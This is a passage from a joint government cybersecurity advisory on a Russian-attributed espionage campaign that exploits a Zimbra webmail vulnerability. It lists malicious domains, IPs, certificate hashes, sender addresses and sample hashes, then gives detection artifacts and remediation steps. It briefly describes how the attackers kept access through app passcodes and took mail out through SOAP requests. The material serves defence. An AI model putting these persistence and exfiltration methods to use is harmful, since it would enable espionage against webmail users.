<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
